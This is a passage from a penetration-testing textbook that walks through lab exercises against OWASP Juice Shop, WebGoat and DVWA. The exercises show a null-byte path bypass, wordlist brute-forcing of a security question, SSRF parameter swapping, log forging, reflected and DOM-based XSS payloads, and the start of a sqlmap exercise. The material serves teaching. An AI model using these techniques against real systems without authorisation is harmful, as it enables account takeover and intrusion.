https://owasp.org/Top10/A04_2021-Insecure_Design/
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Hence, as an aspiring penetration tester, you need to perform thorough security testing on the web 
application to check for all possibilities. The OWASP Top 10 provides a lot of documentation that will 
guide you through the process of discovering security flaws within web applications.

In this section, you will learn how to get started with exploiting security misconfigurations on the 
OWASP Juice Shop vulnerable web application using Kali Linux. To get started with this exercise, 
please follow these instructions:

1. Ensure that Kali Linux is powered on and the OWASP Juice Shop Docker instance is running.
2. Using Firefox on Kali Linux, go to the OWASP Juice Shop Score Board and use the filter to 

display only Security Misconfiguration attacks to view all the challenges. We will be looking 
at completing the Error Handling and Deprecated Interface challenges to demonstrate the 
security risks and how they can be exploited.

3. Next, ensure FoxyProxy is using Burp Suite as the proxy server and Intercept is running on 
the Burp Suite application within Kali Linux.

4. On OWASP Juice Shop, go to the home page and click on a product to allow Burp Suite to cap-
ture a new web request message via the Intercept feature.

Look for a message that contains GET /rest HTTP/1.1, such as the following, and send it to 
Repeater:

Figure 16.46: The HTTP Get message
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5. Next, head on over to Repeater and select the sub-tab that contains the HTTP request mes-
sage. Then, append a fake path to the HTTP header, such as the following, and click on Send 
to forward it to the web application:

GET /rest/fakepath HTTP/1.1

As shown in the following screenshot, the path within the HTTP request message is modified:

Figure 16.47: Observing the HTTP GET message

As shown in the preceding screenshot, the HTTP GET request message is modified to retrieve 
the /rest/fakepath resource on the web application. However, this resource does not exist 
on the web application as it’s made up.
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As a result of sending a request for an invalid resource on the web application, the response 
provides an HTTP Status 500 Internal Server Error message, which includes some sensitive 
information about the web application technologies within the message body, as shown in 
the following screenshot:

Figure 16.48: Server error message

6. Next, to ensure you’ve completed the security misconfiguration challenge, modify the HTTP 
GET header on the Intercept tab to GET /rest/fakepath HTTP/1.1, then forward the HTTP 
request messages, and you will solve the challenge of provoking an error on the web application.

7. Next, to upload an unsupported file to the OWASP Juice web application, you will need to create 
a new user account at http://localhost:3000/#/register.
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8. Ensure you are logged into OWASP Juice Shop using the new user account you have created, 
and then go to the http://localhost:3000/#/complain page, which allows you to upload 
specific file types only.

9. On your Firefox web browser, right-click on the web page and select Inspect to view the page 
source and its elements.

10. Select the Inspector tab and search for accept in the search bar, and you should see a line of 
code that contains the following:

type="file" accept=".pdf,.zip"

This piece of code indicates that the users are able to upload only PDF and ZIP file types to the 
web application. By default, users will be restricted/blocked from uploading any other file types.

11. To abuse the security misconfiguration on the web application, simply create a new file with 
the .xml extension, using the following command:

kali@kali:~$ touch /home/kali/Desktop/complain.xml

12. Then, upload the XML file on the http://localhost:3000/#/complain page on OWASP Juice. 
On the Complaint form, click on Browse to attach the .xml file. On the File Upload window, 
click on All Files to view all file types within the directory:

Figure 16.49: Uploading a file
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Ensure you complete the necessary field and click Submit to send the data to the web appli-
cation:

Figure 16.50: Submitting the file

You will notice the web application accepts the unsupported file type, which is another indi-
cation of security misconfiguration that threat actors can exploit. Finally, you have completed 
the challenge for the deprecated interface.

Having completed this section, you have learned about the fundamentals and security risks involved 
in security misconfigurations on web applications.

Summary
During the course of this chapter, you have discovered the fundamentals of web applications and 
how HTTP operates between a web browser and a web application. You have also learned how the 
OWASP Top 10 list of security risks for web applications helps cybersecurity professionals improve the 
security of web servers and their applications. Furthermore, you have gained the skills for simulating 
various types of web application cyberattacks on vulnerable applications to discover and exploit se-
curity vulnerabilities on a target. When simulating attacks, it should be done in a controlled, ethical 
environment, such as a lab setup or with permission from the application owner.

To learn more about security misconfiguration, please see the official OWASP docu-
mentation at the following URL: https://owasp.org/Top10/A05_2021-Security_
Misconfiguration/.

https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
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I trust that the knowledge presented in this chapter has provided you with valuable insights, supporting 
your path toward becoming an ethical hacker and penetration tester in the dynamic field of cyberse-
curity. May this newfound understanding empower you in your journey, allowing you to navigate the 
industry with confidence and make a significant impact. In the next chapter, Advanced Website Penetra-
tion Testing, you will discover additional web application vulnerabilities and exploitation techniques.

Further reading
• OWASP Top 10 Web Application Security Risks – https://owasp.org/www-project-top-ten/
• OWASP 10 as a standard – https://owasp.org/Top10/A00_2021_How_to_use_the_OWASP_

Top_10_as_a_standard/

• AppSec Program with the OWASP Top – https://owasp.org/Top10/A00_2021-How_to_start_
an_AppSec_program_with_the_OWASP_Top_10/

• Importance of using HTTPS – https://www.cloudflare.com/learning/ssl/why-use-https/

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://owasp.org/www-project-top-ten/
https://owasp.org/Top10/A00_2021_How_to_use_the_OWASP_Top_10_as_a_standard/
https://owasp.org/Top10/A00_2021_How_to_use_the_OWASP_Top_10_as_a_standard/
https://owasp.org/Top10/A00_2021-How_to_start_an_AppSec_program_with_the_OWASP_Top_10/
https://owasp.org/Top10/A00_2021-How_to_start_an_AppSec_program_with_the_OWASP_Top_10/
https://www.cloudflare.com/learning/ssl/why-use-https/ 
https://packt.link/SecNet
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Advanced Website Penetration 
Testing

As you progress along your cybersecurity journey, you will encounter a lot of malpractice, such as ad-
ministrative oversights, technical misconfigurations, and procedural weaknesses, within organizations 
that often lead to their systems and networks being compromised by a threat actor. As an aspiring 
ethical hacker and penetration tester, you must test for everything that’s within your penetration test-
ing scope, even if it’s something you think is very minor within the IT industry. Many organizations 
use default user accounts, default configurations, outdated applications, unsecure network protocols, 
and so on. Being able to compromise the easiest security vulnerability within a web application is all 
it takes sometimes to gain a bigger doorway into the organization.

In this chapter, you will learn how to discover security vulnerabilities within a vulnerable web applica-
tion. You will learn how the security risk increases when organizations deploy their web applications 
with vulnerable and outdated components, poorly configured authentication mechanisms, integrity, 
vulnerability, and monitoring issues, server-side flaws, and database-side security vulnerabilities.

In this chapter, we will cover the following topics:

• Identifying vulnerable and outdated components
• Exploiting identification and authentication failures
• Understanding software and data integrity failures
• Exploring server-side request forgery
• Understanding security logging and monitoring failures
• Understanding cross-site scripting
• Automating SQL injection attacks
• Performing client-side attacks

Let’s dive in!
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Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Kali Linux: https://www.kali.org/get-kali/
• Windows 10 Enterprise: https://www.microsoft.com/en-us/evalcenter/evaluate-windows-

10-enterprise

• Burp Suite: https://portswigger.net/burp
• OWASP Juice Shop: https://owasp.org/www-project-juice-shop/

Identifying vulnerable and outdated components
As aspiring ethical hacker and penetration testers, we often think all organizations take a strict ap-
proach to implementing solutions using best practices and ensuring their IT infrastructure has the 
latest patches and secure configurations. However, there have been many organizations that have 
been compromised by threat actors due to vulnerabilities found on their web applications and com-
ponents on servers.

Using vulnerable and outdated components simply means an organization is using unsupported 
applications and components, as in they are no longer supported by the vendor, which increases the 
security risk of a potential cyber-attack. Furthermore, if organizations do not frequently perform se-
curity testing on their web applications to discover new security flaws, they are left open to new and 
emerging cyber-attacks and threats.

In the following exercise, you will learn how to use Burp Suite to discover and exploit broken ac-
cess control within a vulnerable web application such as the Open Web Application Security Project 
(OWASP) Juice Shop. To get started, please follow these steps:

1. Ensure that your Kali Linux machine is powered on and the OWASP Juice Shop Docker instance 
is running. Open a Terminal and use the following commands to start the OWASP Juice Shop 
Docker container:

kali@kali:~$ sudo docker run --rm -p 3000:3000 bkimminich/juice-shop

https://www.kali.org/get-kali/
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise
https://portswigger.net/burp
https://owasp.org/www-project-juice-shop/
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2. On Kali Linux, open Firefox and go to OWASP Juice Shop Score Board. Then, use the filter 
to display only Vulnerable Components attacks to view all the challenges, as shown below:

Figure 17.1: Score board

3. We will be looking into completing the Legacy Typosquatting challenge to demonstrate the 
security risks and how they can be exploited.

For this exercise, ensure you are not logged in as a user on the web application.
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4. Next, on Kali Linux, open your web browser, such as Firefox, and go to http://localhost:3000/
ftp, as shown here:

Figure 17.2: Hidden directory

5. As shown in the preceding snippet, the FTP directory is easily accessible without any security 
controls such as user authentication. In addition, there are interesting files stored in this 
directory.

6. Next, click on the package.json.bak file to view its contents and determine the list of packages 
being used by the OWASP Juice Shop web application:

Figure 17.3: File contents
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7. As shown in the preceding snippet, the web browser is unable to open the file type.
8. Next, use the following custom URL within your web browser to convert the file into a readable 

text file: http://localhost:3000/ftp/package.json.bak%2500.md.
9. The web browser will enable you to download and open the converted file using a text editor:

Figure 17.4: Listing file contents

10. As shown in the preceding snippet, the package.json.bak file contains a list of all the packages 
being used by the web application. It’s important to research each package that you can see 
within this list and determine whether anything seems to be abnormal, such as an outdated 
version and known security vulnerabilities from trusted online sources.
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11. Research the epilogue-js package to identify where the web application is running an outdated 
or vulnerable version of the software package, as shown here:

Figure 17.5: Researching a potential vulnerability

12. While researching this package, you will eventually find evidence indicating this package is 
not what it seems to be and that it’s a vulnerable component of the web application.

13. To complete this challenge, go to the /complain or /contact page and report the issue by 
inserting the name of the vulnerable component within the Comment field and submit your 
feedback:
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Figure 17.6: Feedback page

Having completed this section, you have learned about the security risks that are involved when 
using vulnerable components within a web application and how to discover these security flaws. In 
the next section, you will learn about the security risks involved in working with identification and 
authentication failures.

To learn more about vulnerable and outdated components, please see the official OWASP 
documentation at https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_
Components/.

https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/
https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/
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Exploiting identification and authentication failures
Sometimes, a web application may not be configured to handle user authentication and allows un-
authorized users, such as threat actors, to gain access to restricted resources. If a web application 
authentication mechanism is poorly designed, then threat actors can perform various types of attacks, 
such as brute force, password spraying, and credential stuffing, and use default user credentials as a 
way to gain access to the web application and web server. Sometimes, web administrators use default 
configurations, default user accounts, and even weak passwords, which simplify the attack that’s being 
performed by the threat actor.

Therefore, during a web application penetration test, it’s important to test for identification and au-
thentication failures and determine whether the web application can be exploited due to such failures. 
In the following sub-section, you will learn how to test authentication failures on a vulnerable web 
application.

Discovering authentication failures
In this exercise, you will learn how to use Burp Suite on Kali Linux to test a web application such as 
OWASP Juice Shop to discover and exploit broken access control security vulnerabilities.

To get started with this exercise, please follow these steps:

1. Ensure your Kali Linux machine is powered on and the OWASP Juice Shop Docker instance 
is running, by using the following commands:

kali@kali:~$ sudo docker run --rm -p 3000:3000 bkimminich/juice-shop

2. Using Firefox on Kali Linux, go to OWASP Juice Shop Score Board and use the filter to display 
only Broken Authentication attacks to view all the challenges, as shown below:

Figure 17.7: Score board
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3. We will be looking into completing the Reset Jim’s Password challenge to demonstrate the 
security risks and how they can be exploited.

4. Next, go to the home page of OWASP Juice Shop, click on the products that have been found 
on the main page, read the reviews, and look for Jim’s email address, as shown below:

Figure 17.8: Inspecting a page

For this exercise, ensure you are not logged in as a user.
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5. Once you’ve found Jim’s email address, let’s attempt to change the password by clicking on 
Account | Login | Forgot your password:

Figure 17.9: Resetting password

6. As shown in the preceding screenshot, the password reset page is formatted similarly to most 
modern web applications. The user must provide their email address (which enables the web 
application to validate whether the email address is registered or not), a security question 
(which also helps the web application validate the identity of the user), and finally, fill in the 
fields to enter a new password.
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7. Next, enter Jim’s email address within the Email field and click within the Security Question 
field to view Jim’s security question, as shown below:

Figure 17.10: Identifying the security question

8. As shown in the preceding screenshot, the security question is very common, and a lot of users 
will set the right answer. This is a security flaw as there are many wordlists on the internet that 
contain common names of people. If you set a common name, a threat actor may be able to 
generate or download a wordlist from the internet and attempt to spray all the names against 
the input field of the web application.

9. Next, ensure FoxyProxy is set to use Burp Proxy’s configurations. Then, start the Burp Suite 
application and ensure Intercept is turned on to capture web request messages.



Advanced Website Penetration Testing698

10. On the Forgot Password page, enter a random answer for Security Question such as 123456, 
set a password, and click Change:

Figure 17.11: Inserting random input

11. This action will enable the web browser to send HTTP messages to the web application, which 
allows Burp Suite to capture the HTTP request.
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12. On Burp Suite, the Intercept proxy will capture the HTTP POST message, which contains the 
data you are sending to the web application. Right-click on the HTTP POST message and send 
it to Intruder:

Figure 17.12: Sending to Intruder

13. As shown in the preceding screenshot, Burp Suite was able to capture the HTTP POST message, 
which contains the data that was inserted into the web form, such as the email address, the 
answer to the security question, and the new password. Sending the HTTP message to Intruder 
allows you to perform online password attacks against the user input fields of a web application.

14. Next, select the Intruder tab and click on Clear to clear all the placement positions in the 
HTTP code.
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15. Next, in the HTTP code, highlight the answer value (123456) and click on the Add button to 
insert a new position:

Figure 17.13: Payload placeholder

16. As shown in the preceding screenshot, the string 123456 is enclosed with the § symbol. Any 
value enclosed with the § symbol identifies a position in the HTTP request where Intruder 
will be able to inject a password.

17. Next, click on the Payloads tab. Under Payload sets, select Payload type and set it to Runtime 
file, as shown below:

Figure 17.14: Payload set and type



Chapter 17 701

18. On the same Payloads tab, under Payload Settings [Runtime file], click Select file, attach the 
/usr/share/wordlists/rockyou.txt wordlist, and click on Start attack:

Figure 17.15: Wordlist file

19. Lastly, Intruder will inject all the words from the wordlist into the injection position and 
provide an HTTP status code indicating the result for each word. Filter Status code to display 
HTTP Status code 200, as shown here:

Figure 17.16: Identifying a possible answer
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20. As shown in the preceding screenshot, HTTP Status code 200 indicates a successful connection 
and the associated payload is Samuel. This means that Samuel is the correct answer to the secret 
question. Make sure you reset the password and complete the challenge on OWASP Juice Shop.

Having completed this section, you have learned how authentication failures can lead to easy access 
to a user’s account on a vulnerable web application. In the next section, you will learn about software 
and data integrity failures.

Understanding software and data integrity failures
This type of security risk focuses on web applications that cannot protect their assets and data against 
integrity-based attacks. Imagine a threat actor leveraging a security flaw within a web application by 
uploading their custom malicious patch to a distribution system. If the distribution does not provide 
integrity checking on the malicious patch, it can be distributed to clients’ systems, causing the mal-
ware to be spread across the internet.

Hence, failure to verify the integrity of a file or data means there’s no checking whether the file or data 
is accurate, complete, and consistent. Implementing integrity-checking measures such as hashing algo-
rithms enables users and systems to verify the integrity of a file or data before and after transmission.

In the next section, you will learn about the security flaws in server-side request forgery.

Exploring server-side request forgery
Server-side request forgery (SSRF) is a security vulnerability that’s found within web applications 
that allows a threat actor to retrieve resources from other systems on the network via the vulnerable 
web application. For instance, threat actors can gain unauthorized access to resources, perform data 
exfiltration and remote code execution, and even bypass security controls on a targeted web appli-
cation. Imagine you’re a threat actor and you’ve discovered a vulnerable web application that allows 
you to proxy your attacks to other systems on the same network connection, allowing you to perform 
port scanning and file retrieval.

To learn more about identification and authentication failures, please see the official 
OWASP documentation at https://owasp.org/Top10/A07_2021-Identification_and_
Authentication_Failures/.

To learn more about software and data integrity failures, please see the official OWASP doc-
umentation at https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_
Failures/.

https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/
https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/
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SSRF is possible when a web application does not validate and sanitize the user-supplied URL during the 
HTTP request messages. For instance, implementing strict policies for validating all user input against 
a whitelist of permitted IP addresses or permitted domains. These whitelists can be used to specify 
the allowed destination for any outgoing requests from the server that’s hosting the web application.

If a threat actor can perform SSRF on a web application that is accessible over the internet, the threat 
actor can leverage the security flaw and bypass the firewall, access control lists (ACLs), and other 
security controls implemented by the organization.

In the following lab exercise, you will discover the security risks involved when using a web application 
that allows SSRF. To get started with this exercise, please use the following instructions:

1. Power on your Kali Linux virtual machine, open the Terminal, and use the following commands 
to download and run the WebGoat Docker container:

kali@kali:~$ sudo docker run --rm -p 8081:8080 webgoat/webgoat

2. WebGoat is an intentionally vulnerable web application that enables ethical hacker and pen-
etration testers to practice their skills.

3. After the WebGoat Docker image is running, open Firefox and go to the following URL to access 
WebGoat’s login page:

http://localhost:8081/WebGoat/login

4. The following screenshot shows the login page; create a new user account and log in:

Figure 17.17: WebGoat login page
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5. After you’ve logged in to the WebGoat application, using the side menu, go to (A10) Server-side 
Request Forgery | Server-Side Request Forgery, as shown below:

Figure 17.18: SSRF exercise

6. Click on 2 to start the exercise:

Figure 17.19: Starting the exercise

7. As shown in the preceding screenshot, this step wants us to request and display an image of Jerry.
8. Next, ensure FoxyProxy is set to use Burp Proxy’s configurations. Then, start the Burp Suite 

application and ensure Intercept is turned on to capture web request messages.
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9. Next, click on the Steal the Cheese button on the web application to capture the HTTP POST 
message within Burp Suite, as shown below:

Figure 17.20: Sending to Repeater

10. As shown in line #18 of the preceding screenshot, the HTTP message is requesting the images/
tom.png resource from the targeted web application (WebGoat).

The %2F code within HTTP represents a forward slash (/).
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11. Next, right-click on the Repeater tab on Burp Suite, click on Send to forward the HTTP message 
to the web application, and observe the Response message, as shown below:

Figure 17.21: Inspecting the Response message

12. As shown in the preceding screenshot, the lessonCompleted field has a value of false. This 
means SSRF wasn’t exploited and we have not completed this step of the exercise yet, and you 
will need to proceed to the next time to exploit this vulnerability.

13. While on Repeater | Request tab, change url=images%2Ftom.png to url=images%2Fjerry.png, 
then click on Send:

Figure 17.22: Changing user-supplied input
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14. The Response message has changed, indicating that the lessonCompleted field is true:

Figure 17.23: Inspecting new Response message

15. Next, head back to the Proxy | Intercept tab, change url=images%2Ftom.png to 
url=images%2Fjerry.png, and click on Forward until step 2 of this exercise is completed, as 
shown below:

Figure 17.24: Completing the exercise

16. Next, select step 3 and click on the try this button to capture the HTTP POST message within 
Burp Suite:

Figure 17.25: Starting a new step



Advanced Website Penetration Testing708

17. As shown in the preceding screenshot, this step wants us to get the WebGoat server to retrieve 
information from the http://ifconfig.pro website on the internet.

18. Once the HTTP POST message is captured within the Intercept tab, right-click and send it to 
Repeater:

Figure 17.26: Sending the message to Repeater

19. Next, select the Repeater tab and click on Send to forward the HTTP POST message to the 
WebGoat web application and observe the response:

Figure 17.27: Observing the server response

http://ifconfig.pro
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20. In the preceding screenshot, the lessonCompleted field is still set to false.
21. Next, in the Repeater | Request tab, change url=images%2Fcat.png to url=http://ifconfig.

pro and click on Send to get a new response from the WebGoat application:

Figure 17.28: Changing the user-supplied input
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22. The following screenshot shows the Response message contains the public IP addresses 
(blurred for privacy) that are associated with the WebGoat application:

Figure 17.29: Inspecting the new response

23. Next, select the Proxy | Intercept tab and change url=images%2Fcat.png to url=http://
ifconfig.pro and click on Forward to complete this step of the exercise:
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Figure 17.30: Changing user-supplied input

24. The following screenshot shows that step 3 is completed:

Figure 17.31: Viewing the web response message

To learn more about SSRF, please see the official OWASP documentation at https://owasp.
org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/.

https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/
https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/
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In this section, you learned about the fundamentals of SSRF and have gained hands-on experience 
with checking for SSRF security vulnerabilities on a web application. In the next section, you will 
learn about security flaws in security logging and monitoring failures.

Understanding security logging and monitoring failures
When monitoring the security posture of an organization, cybersecurity professionals need to ensure 
all their systems, devices, and applications are providing sufficient logs such as login attempts, config-
uration changes, and network traffic anomalies to their Security Information and Event Management 
(SIEM) tool and their logging servers for accountability. Each log message will contain specific iden-
tifiers such as time and date stamps, user and process identifiers, details about the error messages, 
and even the 5-tuple (source IP address, destination IP address, source port number, destination port 
number, and protocol). If web applications and web servers do not provide sufficient logging, it is very 
challenging for cybersecurity professionals to detect and determine what occurred during a system 
breach. In addition, secure log management practices include the encryption of log data, access 
controls, and regular verification of log integrity.

Security logging and monitoring involves the logs of authentication attempts, their successes and 
failures, error and system warnings, usage of application programming interface (API) calls, port 
scanning, and so on, which may indicate a potential threat or cyber-attack against the system. Effective 
logging and monitoring are not only critical for post-incident analysis but also for real-time threat 
detection and mitigation.

As a penetration tester, various types of cyber-attacks, such as password spraying, credential stuffing, 
or even brute-forcing the login page of a web application, may not be detected if the web application 
is not configured with proper security logging and monitoring features. Detecting this type of security 
risk can mostly be done while working in the field. If the organization’s blue team does not capture 
any of your security tests within their system logs, then the attack goes unnoticed and the security 
vulnerability exists.

Identifying logging security vulnerabilities
To get started with this exercise, please use the following instructions:

1. Power on your Kali Linux virtual machine, open the Terminal, and use the following commands 
to download and run the WebGoat Docker container:

kali@kali:~$ sudo docker run --rm -p 8081:8080 webgoat/webgoat

2. After the WebGoat Docker image is running, open Firefox and go to the following URL to access 
WebGoat’s login page:

http://localhost:8081/WebGoat/login

To learn more about security logging and monitoring failures, please see the official 
OWASP documentation at https://owasp.org/Top10/A09_2021-Security_Logging_
and_Monitoring_Failures/.

https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/
https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/
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3. The following screenshot shows the login page. You’ll need to create a new user account if one 
was not already created, then log in:

Figure 17.32: Creating a new user account

4. After you’ve logged in to the WebGoat application, using the side menu, go to (A9) Security 
Logging Failures | Logging Security, as shown below:

Figure 17.33: Logging Security exercise
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5. Click on step 2, then enter a random username and password within the login fields and click 
on Submit, as shown below:

Figure 17.34: Random input

6. As shown in the preceding screenshot, the web application shows the log message from the 
server’s log file. We can alter the server’s log message to make it seem like the admin user was 
able to log in successfully.

7. Next, insert user1. Login successful for username: admin within the username field with 
a random password, as shown below:

Figure 17.35: Sending malformed data

8. As shown in the preceding screenshot, we’re able to make it look as if the admin user was able 
to successfully log in to the web application due to the insecurities in web application logging.
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9. Next, click on step 4 and enter admin as the username and a random password to observe the 
server response, as shown below:

Figure 17.36: Attempting to log in using the admin username

10. As shown in the preceding screenshot, the web application does not provide any log messages 
on the web page. Since no log messages are appearing on the web application, we won’t be 
able to identify the administrator’s password. However, we can check the log messages from 
the Terminal.

11. Next, go to the Terminal where you’ve launched the WebGoat application/Docker container 
and look for any log messages that contain the administrator’s password, as shown below:

Figure 17.37: Viewing password

12. As shown in the preceding screenshot, the web application contains logging security vulner-
abilities that allow the administrator’s credentials to be displayed in the web server’s log file 
when the web application is launched.

13. To decode the password hash value, copy the password hash and use the following commands 
on a new Terminal:

kali@kali:~$ echo NWI4ZmE0NGUtMDlhOC00MGFmLWIxMjEtZDQyZDgzMGFjMjdl | 
base64 --decode

14. The following screenshot shows the plaintext password for the Administrator’s account:

Figure 17.38: Decoding as Base64
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15. Finally, enter the username Admin with the plaintext password to complete the exercise, as 
shown below:

Figure 17.39: Logging in as admin

Having completed this exercise, you’ve learned how logging security vulnerabilities can be leveraged 
by cyber-criminals to compromise targeted web applications. In the next section, you will discover 
how to test for cross-site scripting vulnerabilities on a web application.

Understanding cross-site scripting
Cross-site scripting (XSS) is a type of injection-based attack (these were introduced in the previous 
chapter) that allows a threat actor to inject client-side scripts into a vulnerable web application. When 
anyone visits the web page containing the XSS code, the web page is downloaded to the client’s web 
browser and executes with the malicious scripts automatically in the background. XSS attacks are 
carried out by exploiting web application security vulnerabilities in a dynamically created web page.

Threat actors usually perform XSS attacks on vulnerable applications for various reasons, such as re-
directing a user to a malicious URL, data theft, manipulation, displaying hidden iframes, and showing 
pop-up windows on a victim’s web browser. As an aspiring ethical hacker and penetration tester, it’s 
important to understand the characteristics of various types of XSS attacks, as follows:

• Stored XSS
• Reflected XSS
• DOM-based XSS
• Cross-site request forgery (CSRF)

Stored XSS is persistent on the web page. This means that the threat actor injects the malicious code 
into the web application on a server, which allows the code to be permanently stored on the web 
page. When any number of potential victims visit the compromised web page, the victim’s browser 
will parse all the web code. However, in the background, the malicious script is being executed on 
the victim’s web browser. This allows the attacker to retrieve any passwords, cookie information, and 
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The following are common injection points on a web application or web page:

• Comment sections
• Forums
• User profiles
• Login field

The following diagram shows a visual representation of an XSS attack:

Figure 17.40: XSS attack

Reflected XSS is a non-persistent attack. In this form of XSS, the threat actor usually sends a malicious 
link to a potential victim. If the victim clicks the link, their web browser will open and load the web 
page containing the malicious XSS code and execute it. Once the malicious code is executed on the 
victim’s web browser, the threat actor will be able to retrieve any sensitive data stored on the victim’s 
web browser. In reflected XSS, the malicious script is part of the request sent to the web server and 
then reflected back in the response and executed by the victim’s browser.

Document Object Model (DOM) XSS operates similarly to reflected XSS and leverages the permissions 
that are inherited from the user account that’s running on the host’s web browser. With DOM-based 
XSS, the client-side scripts are commonly used by threat actors to deliver malicious code whenever a 
user makes a request, and the malicious code is delivered to the user’s web browser via HTTP messages.

In a CSRF attack, the threat actor abuses the trust between a reputable web server and a trusted user. 
Imagine a user, Bob, who opens his web browser and logs in to his banking customer portal to per-
form some online transactions. Bob has used his user credentials on his bank’s web portal; the web 
application/server verifies that the user is Bob and automatically trusts his computer as the device 
communicating with the web server. However, Bob also opens a new tab in the same browser to visit 
another website while maintaining an active session with the bank’s web portal (trusted site). 
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Bob doesn’t suspect that the new website he has visited contains malicious code, which is then exe-
cuted in the background on Bob’s machine:

Figure 17.41: CSRF

The malicious code then injects an HTTP request into the trusted site from Bob’s machine. By doing 
this, the attacker can capture Bob’s user credentials and session information. Additionally, the mali-
cious link can cause Bob’s machine to perform malicious actions on the trusted site.

Over the next few sub-sections, you will learn how to discover various types of XSS security vulnera-
bilities on a web application.

Part 1 – Discovering reflected XSS
In a reflected XSS attack, data is inserted and then reflected on the web page. In this exercise, you will 
discover a reflected XSS vulnerability on a target server.

To get started with this exercise, please use the following instructions:

1. Power on your Kali Linux virtual machine, open the Terminal, and use the following commands 
to download and run the WebGoat Docker container:

kali@kali:~$ sudo docker run --rm -p 8081:8080 webgoat/webgoat

2. After the WebGoat Docker image is running, open Firefox and go to the following URL to access 
WebGoat’s login page:

http://localhost:8081/WebGoat/login

3. The following screenshot shows the login page; create a new user if one does not already exist 
and log in:
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Figure 17.42: WebGoat Login page

4. After you’ve logged in to the WebGoat application, using the side menu, go to (A3) Injection 
| Cross Site Scripting and a tutorial will appear. Make sure you read through steps 1 to 7, as 
shown below:

Figure 17.43: XSS exercise
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5. At step 7, we will need to perform reflected XSS on the following page:

Figure 17.44: Attempting XSS

6. As shown in the preceding screenshot, there’s an input field for the credit card number and 
another for the card’s security code. We can attempt to inject an XSS script within the credit 
card number field.

7. Next, insert 4128 3214 0002 1999"><script>alert("Testing Reflected XSS")</script> 
within the credit card number field and click on Purchase, as shown below:
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Figure 17.45: Performing XSS

8. As shown in the preceding screenshot, the contents of our script were reflected on the web 
page. Read through steps 8 to 10 that appear within the web application tutorial, as shown below:

 Figure 17.46: Continuing the tutorial
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Part 2 – Performing DOM-based XSS
To get started with DOM-based XSS, follow these steps:

1. In step 10 of the tutorial the WebGoat application, using Mozilla Firefox,  right-click anywhere 
on the web page and select the Inspect option that appears on Firefox as shown below:

 Figure 17.47: DOM-based XSS exercise

2. When the Web Developer Tools menu appears, click on the Debugger tab to view the elements 
of the web application, as shown below:

Figure 17.48: Firefox Debugger

3. As shown in the preceding screenshot, the GoatRouter.js file contains the route configura-
tions for the client-side code for the web application. Notice that there are four routes listed: 
welcome, lesson/, test/, and reportCard.
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4. Insert the base route of start.mvc# as the prefix for the test route found within the GoatRouter.
js file to create start.mvc#test/ and insert it into the input field, as shown below:

Figure 17.49: Injecting malformed data

5. In step 11, we’ll need to combine reflected XSS using webgoat.customjs.phoneHome(). There-
fore, open a new tab on Mozilla and go to the following URL:

http://localhost:8081/WebGoat/start.mvc#test/<script>webgoat.customjs.
phoneHome();<%2fscript>

6. Once the script is executed within the address bar of Mozilla, right-click on the page and click 
on Inspect. On the Web Developer Tools menu, click on the Console tab to view the response 
code, as shown below:

Figure 17.50: Firefox Console
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7. Next, copy the response code and submit it within step 11 to complete the exercise.

Part 3 – Discovering stored XSS
To identify stored XSS, you can perform these steps:

1. Using the side menu, go to (A3) Injection | Cross Site Scripting (stored) and read through steps 
1 to 3, as shown below:

Figure 17.51: Stored XSS exercise

2. Go to step 3, then right-click on the web page and click on Inspect to open the Web Developer 
Tools within Firefox.

3. On the Web Developer Tools menu, select the Console tab and execute the following:

webgoat.customjs.phoneHome()

4. The following screenshot shows that the preceding command was able to involve the function 
and provide the response code:

Figure 17.52: Response message

If you get a negative number, refresh the page to generate a positive number.



Chapter 17 725

5. Next, copy the response code from the Console and submit it in step 3 to complete the exercise.

Having completed this section, you have gained hands-on experience in testing a vulnerable web 
application for XSS attacks. In the next section, you will learn how to automate SQL injection attacks 
on a vulnerable web application.

Automating SQL injection attacks
sqlmap is an automated tool for performing and exploiting SQL injection vulnerabilities on a web ap-
plication. The tool also allows you to perform exploitation attacks, manipulate records, and retrieve 
data from the backend database from vulnerable web applications. Overall, during a web application 
penetration testing exercise, using automation can help you save a lot of time when you’re looking 
for security flaws during an assessment.

In this section, you will learn how to use sqlmap to easily identify SQL injection flaws within a vulner-
able web application and retrieve sensitive data.

Part 1 – Discovering databases
To get started with this exercise, please follow these steps:

1. Power on both your Kali Linux and Metasploitable 2 virtual machines. When the Metasploit-
able 2 virtual machine boots, log in using msfadmin/msfadmin as the username and password. 
Then, use the ip address command to retrieve its IP address, as shown here:

Figure 17.53: Checking the IP address

2. The IP address of your virtual machine may be different from what is shown in the preceding 
screenshot; however, it should be within the same IP subnet (172.30.1.0/24) as your Kali 
Linux virtual machine.
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3. Next, on Kali Linux, open Firefox and enter the IP address of the Metasploitable 2 virtual 
machine to load its home page, then click on DVWA:

Figure 17.54: Metasploitable 2 web interface

4. On the Damn Vulnerable Web Application (DVWA) login page, log in using admin/password 
as the username and password, as shown below:

Figure 17.55: DVWA login page
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5. Once, you’ve logged in to DVWA, click on DVWA Security and set the security level to low, as 
shown below:

Figure 17.56: DVWA Security settings

6. Next, select the SQL Injection option, as shown here:

Figure 17.57: SQL Injection exercise

7. Next, ensure FoxyProxy is set to use the Burp Suite proxy configuration and the Burp Suite 
application is running and intercepting the web traffic between your web browser and the 
vulnerable web application.
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8. For the web application, enter 1 within the User ID field and click on Submit to check whether 
the web application is vulnerable to SQL injection attacks (forward the request in Burp Suite):

